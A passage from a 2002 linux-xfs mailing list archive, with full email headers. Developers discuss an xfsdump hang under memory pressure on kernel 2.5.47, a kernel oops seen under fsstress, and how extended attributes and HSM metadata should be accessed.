is, of course, unkillable. Dump was started to a file on a different disk. Same problem happens on two different machines, where one is UP, second is SMP. Kernel is (virgin) 2.5.47 on both. If you need any further info, please don't hesistate to ask. -- Zlatko From owner-linux-xfs@oss.sgi.com Fri Nov 15 02:43:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 02:44:00 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAFAhsuR030706 for ; Fri, 15 Nov 2002 02:43:54 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAFAhsNF030705 for linux-xfs@oss.sgi.com; Fri, 15 Nov 2002 02:43:54 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAFAhquV030689 for ; Fri, 15 Nov 2002 02:43:52 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAFAMHxU024941; Fri, 15 Nov 2002 02:22:17 -0800 Date: Fri, 15 Nov 2002 02:22:17 -0800 Message-Id: <200211151022.gAFAMHxU024941@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 193] when tested with fsstress in scsi, the process is locked. X-Bugzilla-Reason: AssignedTo X-archive-position: 1714 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=193 gurubert-xfs@epigenomics.com changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |gurubert-xfs@epigenomics.com ------- Additional Comments From gurubert-xfs@epigenomics.com 2002-11-15 02:22 ------- Same here, with kernel 2.4 CVS from 2002-11-14: Unable to handle kernel paging request at virtual address 03002094 printing eip: c012d0e0 *pde = 00000000 Oops: 0000 CPU: 0 EIP: 0010:[vfree+116/160] Tainted: P EFLAGS: 00010206 eax: c02113f0 ebx: 03002090 ecx: d11fb56c edx: f8a15000 esi: 00000000 edi: f8a15000 ebp: c27b5f80 esp: c27b5e5c ds: 0018 es: 0018 ss: 0018 Process fsstress (pid: 7315, stackpage=c27b5000) Stack: c27b4000 c0150fc6 f8a15000 c0151130 f8a15000 0000213e 00000000 c27b5fa4 00000000 72657375 3361612e 00000000 00000000 00000000 00000282 c4517ea0 c9579cc0 c9579cc0 c4517ea0 f89a326f f79ebb1c c4517ea0 f89477d9 f79ebb1c Call Trace: [xattr_free+38/44] [setxattr+356/376] [e100:__insmod_e100_O/lib/modules/2.4.20-rc1-xfs-20021114-p25x0/k+-52625/96] [e100:__insmod_e100_O/lib/modules/2.4.20-rc1-xfs-20021114-p25x0/k+-428071/96] [e100:__insmod_e100_O/lib/modules/2.4.20-rc1-xfs-20021114-p25x0/k+-143994/96] [e100:__insmod_e100_O/lib/modules/2.4.20-rc1-xfs-20021114-p25x0/k+-223801/96] [e100:__insmod_e100_O/lib/modules/2.4.20-rc1-xfs-20021114-p25x0/k+-125781/96] [dput+25/340] [link_path_walk+2184/2460] [__user_walk+52/64] [sys_lsetxattr+61/84]2 [system_call+51/56] Code: 39 53 04 74 ab 8d 4b 0c 8b 5b 0c 85 db 75 f1 f0 81 05 f0 13 ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Fri Nov 15 03:19:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 03:19:52 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFBJluR031425 for ; Fri, 15 Nov 2002 03:19:47 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id 45AD547277; Fri, 15 Nov 2002 03:21:34 -0800 (PST) Date: Fri, 15 Nov 2002 03:21:34 -0800 From: Chris Wedgwood To: Zlatko Calusic Cc: linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021115112134.GA27856@tapu.f00f.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1715 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Fri, Nov 15, 2002 at 11:15:29AM +0100, Zlatko Calusic wrote: > xfsdump: page allocation failure. order:0, mode:0x0 > xfsdump: page allocation failure. order:0, mode:0x0 > ... > % ps axo pid,command,state,wchan | grep xfsdump > 5442 xfsdump D io_schedule > The process is, of course, unkillable. Dump was started to a file > on a different disk. Same problem happens on two different > machines, where one is UP, second is SMP. Kernel is (virgin) 2.5.47 > on both. If you need any further info, please don't hesistate to > ask. I too had (have?) this problem. I tried to reproduce it with CVS of late (last three days) and so far haven't been able to. I'm now running kdb kernels though in the hope to get something useful when it does happen. I'd love to know *why* I can't make this happen anymore (or why it's harder to hit) as I didn't see anything relevant fixed as best as I can tell. Does it still happen for you with a kernel compile from CVS? --cw From owner-linux-xfs@oss.sgi.com Fri Nov 15 04:06:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 04:06:22 -0800 (PST) Received: from inje.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFC6FuR032510 for ; Fri, 15 Nov 2002 04:06:16 -0800 Received: from magla.zg.iskon.hr (oganj.iskon.hr [213.191.128.21]) by mail.iskon.hr (8.11.4/8.11.4/Iskon 8.11.3-1) with ESMTP id gAFC7wa08969; Fri, 15 Nov 2002 13:07:58 +0100 (MET) Received: from magla.zg.iskon.hr (zcalusic@localhost [127.0.0.1]) by magla.zg.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAFC7wov006123; Fri, 15 Nov 2002 13:07:58 +0100 Received: (from zcalusic@localhost) by magla.zg.iskon.hr (8.12.6/8.12.6/Debian-8) id gAFC7vxT006120; Fri, 15 Nov 2002 13:07:57 +0100 To: Chris Wedgwood Cc: linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115112134.GA27856@tapu.f00f.org> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Fri, 15 Nov 2002 13:07:57 +0100 In-Reply-To: <20021115112134.GA27856@tapu.f00f.org> (Chris Wedgwood's message of "Fri, 15 Nov 2002 03:21:34 -0800") Message-ID: Lines: 28 User-Agent: Gnus/5.090005 (Oort Gnus v0.05) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1716 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Chris Wedgwood writes: > > I too had (have?) this problem. > > I tried to reproduce it with CVS of late (last three days) and so far > haven't been able to. I'm now running kdb kernels though in the hope > to get something useful when it does happen. > > I'd love to know *why* I can't make this happen anymore (or why it's > harder to hit) as I didn't see anything relevant fixed as best as I > can tell. What kernel do you use? > > Does it still happen for you with a kernel compile from CVS? Hm, before answering that, I'll need a little help to compile kernel with xfs from cvs. How do i proceed, get everything from cvs and put instead of in-kernel tree? I thought 2.5 follows cvs, is that true? Or are we speaking just about last few days worth of work which is in cvs but not yet synced to Linus kernel tree? Thanks for your reply. -- Zlatko From owner-linux-xfs@oss.sgi.com Fri Nov 15 04:50:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 04:50:57 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFCoquR000719 for ; Fri, 15 Nov 2002 04:50:53 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 9D02E14707; Fri, 15 Nov 2002 13:52:34 +0100 (MET) Date: Fri, 15 Nov 2002 13:52:33 +0100 From: Andi Kleen To: Zlatko Calusic Cc: linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021115135233.A13882@oldwotan.suse.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from zlatko.calusic@iskon.hr on Fri, Nov 15, 2002 at 11:15:29AM +0100 X-archive-position: 1717 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs > xfsdump: page allocation failure. order:0, mode:0x0 > xfsdump: page allocation failure. order:0, mode:0x0 > ... It somehow manages to run out of memory and then blocks trying to free some. You can do cat /proc/slabinfo and see if there are any suspicious leaks of objects (compare before and after dump) You can also do Shift-ScrLock on the console to dump some memory information and run vmstat doing the dump. The 2.5 VM is still rather untuned, so you may just run into some generic VM problem. -Andi From owner-linux-xfs@oss.sgi.com Fri Nov 15 05:00:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 05:00:15 -0800 (PST) Received: from inje.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFD0AuR001238 for ; Fri, 15 Nov 2002 05:00:10 -0800 Received: from magla.zg.iskon.hr (oganj.iskon.hr [213.191.128.21]) by mail.iskon.hr (8.11.4/8.11.4/Iskon 8.11.3-1) with ESMTP id gAFD1sa28432; Fri, 15 Nov 2002 14:01:55 +0100 (MET) Received: from magla.zg.iskon.hr (zcalusic@localhost [127.0.0.1]) by magla.zg.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAFD1qov006237; Fri, 15 Nov 2002 14:01:54 +0100 Received: (from zcalusic@localhost) by magla.zg.iskon.hr (8.12.6/8.12.6/Debian-8) id gAFD1pQd006234; Fri, 15 Nov 2002 14:01:51 +0100 To: Andi Kleen Cc: linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Fri, 15 Nov 2002 14:01:51 +0100 In-Reply-To: <20021115135233.A13882@oldwotan.suse.de> (Andi Kleen's message of "Fri, 15 Nov 2002 13:52:33 +0100") Message-ID: Lines: 28 User-Agent: Gnus/5.090005 (Oort Gnus v0.05) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1718 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Andi Kleen writes: >> xfsdump: page allocation failure. order:0, mode:0x0 >> xfsdump: page allocation failure. order:0, mode:0x0 >> ... > > It somehow manages to run out of memory and then blocks trying to free some. > You can do cat /proc/slabinfo and see if there are any suspicious leaks of > objects (compare before and after dump) You can also do Shift-ScrLock on > the console to dump some memory information and run vmstat doing the dump. Yes, I'll try to see if slabinfo can discover any leak, although I'm not quite sure we have a leak problem here, it's more like some part of xfs code tries to allocate memory too fast, and kernel cannot cope with the speed. Or similar... > The 2.5 VM is still rather untuned, so you may just run into some generic > VM problem. > I agree. What points me to this list is that I observed such behavior only with xfsdump. Although 2.5 is still in development phase, VM has been really stable recently. But yes, it's possible that this is a genuine kernel VM bug, and xfsdump just triggers it. Regards, -- Zlatko From owner-linux-xfs@oss.sgi.com Fri Nov 15 05:04:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 05:04:56 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFD4suR001669 for ; Fri, 15 Nov 2002 05:04:54 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 0073D14707; Fri, 15 Nov 2002 14:06:35 +0100 (MET) Date: Fri, 15 Nov 2002 14:06:35 +0100 From: Andi Kleen To: Zlatko Calusic Cc: Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021115140635.A31836@wotan.suse.de> References: <20021115135233.A13882@oldwotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.22.1i X-archive-position: 1719 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs > I agree. What points me to this list is that I observed such behavior > only with xfsdump. Although 2.5 is still in development phase, VM has > been really stable recently. But yes, it's possible that this is a > genuine kernel VM bug, and xfsdump just triggers it. I guess xfsdump pins both a lot of pages and a lot of inodes/dentries (similar to a program that opens a few thousand files and mlocks significant parts of its address space). May not be the best tested scenario in the world. It apparently is called the "google workload" (because all the hundreds of google cluster boxes run in a similar setup) and it was only fixed in 2.4 VM a short time ago. -Andi From owner-linux-xfs@oss.sgi.com Fri Nov 15 07:26:58 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 07:27:01 -0800 (PST) Received: from inje.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFFQuuR010899 for ; Fri, 15 Nov 2002 07:26:57 -0800 Received: from magla.zg.iskon.hr (oganj.iskon.hr [213.191.128.21]) by mail.iskon.hr (8.11.4/8.11.4/Iskon 8.11.3-1) with ESMTP id gAFFSg411289; Fri, 15 Nov 2002 16:28:42 +0100 (MET) Received: from magla.zg.iskon.hr (zcalusic@localhost [127.0.0.1]) by magla.zg.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAFFSeov006486; Fri, 15 Nov 2002 16:28:41 +0100 Received: (from zcalusic@localhost) by magla.zg.iskon.hr (8.12.6/8.12.6/Debian-8) id gAFFScWI006483; Fri, 15 Nov 2002 16:28:38 +0100 To: Andi Kleen Cc: linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Fri, 15 Nov 2002 16:28:38 +0100 In-Reply-To: <20021115140635.A31836@wotan.suse.de> (Andi Kleen's message of "Fri, 15 Nov 2002 14:06:35 +0100") Message-ID: Lines: 28 User-Agent: Gnus/5.090005 (Oort Gnus v0.05) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1720 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Andi Kleen writes: >> I agree. What points me to this list is that I observed such behavior >> only with xfsdump. Although 2.5 is still in development phase, VM has >> been really stable recently. But yes, it's possible that this is a >> genuine kernel VM bug, and xfsdump just triggers it. > > I guess xfsdump pins both a lot of pages and a lot of inodes/dentries > (similar to a program that opens a few thousand files and mlocks > significant parts of its address space). May not be the best tested > scenario in the world. It apparently is called the "google workload" > (because all the hundreds of google cluster boxes run in a similar > setup) and it was only fixed in 2.4 VM a short time ago. Oh, yes, you're completely right, of course. It's the pinned part of page cache that makes big pressure on the memory. Whole lot of inactive page cache pages (~700MB in my case) is not really good indicator of recyclable memory, when (probably) a big part of it is pinned and can't be thrown out. So it is VM, after all. Maybe pinned pages should be activated (temporarily?) to better describe the fact that they're not easily freeable? That might help kswapd and friends to make better decisions, at least theoretically. Hm, to tell the truth, all that doesn't sound like an easy problem to fix, but I'm sure we'll think of something. :) -- Zlatko From owner-linux-xfs@oss.sgi.com Fri Nov 15 07:38:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 07:38:37 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFFcUuR011660 for ; Fri, 15 Nov 2002 07:38:31 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 866B714C03; Fri, 15 Nov 2002 16:40:12 +0100 (MET) Date: Fri, 15 Nov 2002 16:40:12 +0100 From: Andi Kleen To: Zlatko Calusic Cc: Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021115164012.A28685@wotan.suse.de> References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.22.1i X-archive-position: 1721 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs > Hm, to tell the truth, all that doesn't sound like an easy problem to > fix, but I'm sure we'll think of something. :) It may be possible to just hack the user space program to limit the data currently in flight, but that would likely impact performance somewhat. Better than doing no backups though. -Andi From owner-linux-xfs@oss.sgi.com Fri Nov 15 09:06:07 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 09:06:15 -0800 (PST) Received: from sisko.scot.redhat.com (pc-62-31-74-27-ed.blueyonder.co.uk [62.31.74.27]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFH65uR016895 for ; Fri, 15 Nov 2002 09:06:06 -0800 Received: (from sct@localhost) by sisko.scot.redhat.com (8.11.6/8.11.2) id gAFH7U228901; Fri, 15 Nov 2002 17:07:30 GMT Date: Fri, 15 Nov 2002 17:07:30 +0000 From: "Stephen C. Tweedie" To: "Theodore Ts'o" Cc: Andreas Gruenbacher , Alexander Viro , "Stephen C.Tweedie" , ext2-devel@lists.sourceforge.net, linux-xfs@oss.sgi.com Subject: Re: Extended attributes: process vs. kernel context (e.g. HSM) Message-ID: <20021115170730.M4512@redhat.com> References: <200211100135.26236.agruen@suse.de> <20021110013233.GH9589@think.thunk.org> <200211111334.32074.agruen@suse.de> <20021111210524.GB6032@think.thunk.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20021111210524.GB6032@think.thunk.org>; from tytso@mit.edu on Mon, Nov 11, 2002 at 04:05:24PM -0500 X-archive-position: 1722 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sct@redhat.com Precedence: bulk X-list: linux-xfs Hi, On Mon, Nov 11, 2002 at 04:05:24PM -0500, Theodore Ts'o wrote: > On Mon, Nov 11, 2002 at 01:34:31PM +0100, Andreas Gruenbacher wrote: > > I think adding a (struct task_struct *) parameter to the xattr inode > > operations is a better idea --- I don't know how likely it is that > > credentials will be passed around in a future kernel, but if it's > > likely then the xattr inode operations would move in the right > > direction, instead of introducing weird flag(s). > Asking the HSM module to fake up a task structure just so it can > create a "credential" that has CAP_SYS_ADMIN set is simply madness. Perhaps, but do we need it? I'd have thought that the likely model for an HSM system is that the requesting user process would find the inode marked "not-in-core", and would pass the "please make this inode resident" request out to a separate process for completion. Only that external process would require access to the HSM metadata, so it's not immediately obvious why the initial caller process absolutely has to have access to the HSM metadata. --Stephen From owner-linux-xfs@oss.sgi.com Fri Nov 15 09:17:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 09:17:14 -0800 (PST) Received: from rj.sgi.com (rj.sgi.com [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFHHBuR017601 for ; Fri, 15 Nov 2002 09:17:11 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAFFIuG8025487 for ; Fri, 15 Nov 2002 07:18:57 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA10784; Fri, 15 Nov 2002 11:18:40 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA01447; Fri, 15 Nov 2002 11:18:40 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gAFHIVN29595; Fri, 15 Nov 2002 11:18:31 -0600 Subject: Re: Extended attributes: process vs. kernel context (e.g. HSM) From: Steve Lord To: "Stephen C. Tweedie" Cc: "Theodore Ts'o" , Andreas Gruenbacher , Alexander Viro , ext2-devel@lists.sourceforge.net, linux-xfs@oss.sgi.com In-Reply-To: <20021115170730.M4512@redhat.com> References: <200211100135.26236.agruen@suse.de> <20021110013233.GH9589@think.thunk.org> <200211111334.32074.agruen@suse.de> <20021111210524.GB6032@think.thunk.org> <20021115170730.M4512@redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1037380711.13544.63.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 15 Nov 2002 11:18:31 -0600 X-archive-position: 1723 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Fri, 2002-11-15 at 11:07, Stephen C. Tweedie wrote: > Hi, > > On Mon, Nov 11, 2002 at 04:05:24PM -0500, Theodore Ts'o wrote: > > On Mon, Nov 11, 2002 at 01:34:31PM +0100, Andreas Gruenbacher wrote: > > > I think adding a (struct task_struct *) parameter to the xattr inode > > > operations is a better idea --- I don't know how likely it is that > > > credentials will be passed around in a future kernel, but if it's > > > likely then the xattr inode operations would move in the right > > > direction, instead of introducing weird flag(s). > > > Asking the HSM module to fake up a task structure just so it can > > create a "credential" that has CAP_SYS_ADMIN set is simply madness. > > Perhaps, but do we need it? > > I'd have thought that the likely model for an HSM system is that the > requesting user process would find the inode marked "not-in-core", and > would pass the "please make this inode resident" request out to a > separate process for completion. Only that external process would > require access to the HSM metadata, so it's not immediately obvious > why the initial caller process absolutely has to have access to the > HSM metadata. That's the way our HSM works ;-). The inode and any thing like ACLs etc is always on disk, and permission to look at the contents can be determined without the contents being present. Once past this point, the data is discovered to be offline and the HSM daemons are responsible for bringing it back on line, they are the only ones who need to manipulate HSM related metadata. The user's thread does need to be able to work out that it is offline. Steve From owner-linux-xfs@oss.sgi.com Fri Nov 15 09:53:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 09:53:48 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFHriuR019048 for ; Fri, 15 Nov 2002 09:53:45 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 7AC9B14C0D; Fri, 15 Nov 2002 18:55:27 +0100 (MET) Content-Type: text/plain; charset="iso-8859-1" From: Andreas Gruenbacher Organization: SuSE Linux AG To: Steve Lord , "Stephen C. Tweedie" Subject: Re: Extended attributes: process vs. kernel context (e.g. HSM) Date: Fri, 15 Nov 2002 18:55:25 +0100 User-Agent: KMail/1.4.3 Cc: "Theodore Ts'o" , Alexander Viro , ext2-devel@lists.sourceforge.net, linux-xfs@oss.sgi.com References: <200211100135.26236.agruen@suse.de> <20021115170730.M4512@redhat.com> <1037380711.13544.63.camel@jen.americas.sgi.com> In-Reply-To: <1037380711.13544.63.camel@jen.americas.sgi.com> MIME-Version: 1.0 Message-Id: <200211151855.25728.agruen@suse.de> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAFHrjuR019054 X-archive-position: 1724 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: agruen@suse.de Precedence: bulk X-list: linux-xfs On Friday 15 November 2002 18:18, Steve Lord wrote: > On Fri, 2002-11-15 at 11:07, Stephen C. Tweedie wrote: > > Hi, > > > > On Mon, Nov 11, 2002 at 04:05:24PM -0500, Theodore Ts'o wrote: > > I'd have thought that the likely model for an HSM system is that > > the requesting user process would find the inode marked > > "not-in-core", and would pass the "please make this inode resident" > > request out to a separate process for completion. Only that > > external process would require access to the HSM metadata, so it's > > not immediately obvious why the initial caller process absolutely > > has to have access to the HSM metadata. > > That's the way our HSM works ;-). > > The inode and any thing like ACLs etc is always on disk, and > permission to look at the contents can be determined without the > contents being present. Once past this point, the data is discovered > to be offline and the HSM daemons are responsible for bringing it > back on line, they are the only ones who need to manipulate HSM > related metadata. I would define the online/offline flag part of the HSM metadata. Of course that piece of information could be stored as some an inode flag, separate from the rest of the metadata which lives in an extended attribute. Then the kernel only needs to access this flag, and only the user space process cares about the EA. > The user's thread does need to be able to work out that it is offline. Agreed. --Andreas. From owner-linux-xfs@oss.sgi.com Fri Nov 15 10:48:34 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 10:48:37 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFImXuR021400 for ; Fri, 15 Nov 2002 10:48:34 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAFHrmKp026869 for ; Fri, 15 Nov 2002 09:53:48 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA17079; Fri, 15 Nov 2002 12:50:14 -0600 (CST) Received: from slobber.americas.sgi.com (slobber.americas.sgi.com [128.162.187.52]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA56780; Fri, 15 Nov 2002 12:50:14 -0600 (CST) Received: from slobber.americas.sgi.com by slobber.americas.sgi.com (SGI-8.9.3/SGI-client-1.7) via ESMTP id MAA03151; Fri, 15 Nov 2002 12:50:13 -0600 (CST) Message-Id: <200211151850.MAA03151@slobber.americas.sgi.com> To: Andreas Gruenbacher cc: Steve Lord , "Stephen C. Tweedie" , "Theodore Ts'o" , Alexander Viro , ext2-devel@lists.sourceforge.net, linux-xfs@oss.sgi.com Subject: Re: Extended attributes: process vs. kernel context (e.g. HSM) Date: Fri, 15 Nov 2002 12:50:13 -0600 From: Dean Roehrich X-archive-position: 1725 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: roehrich@sgi.com Precedence: bulk X-list: linux-xfs >From: Andreas Gruenbacher >> The inode and any thing like ACLs etc is always on disk, and >> permission to look at the contents can be determined without the >> contents being present. Once past this point, the data is discovered >> to be offline and the HSM daemons are responsible for bringing it >> back on line, they are the only ones who need to manipulate HSM >> related metadata. > >I would define the online/offline flag part of the HSM metadata. Of >course that piece of information could be stored as some an inode flag, >separate from the rest of the metadata which lives in an extended >attribute. Then the kernel only needs to access this flag, and only the >user space process cares about the EA. For XFS it isn't an online/offline flag; it's a bitmask that indicates which DMAPI events should be triggered for various operations on that file. This mask is store in the XFS inode. Dean From owner-linux-xfs@oss.sgi.com Fri Nov 15 12:32:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 12:32:06 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id 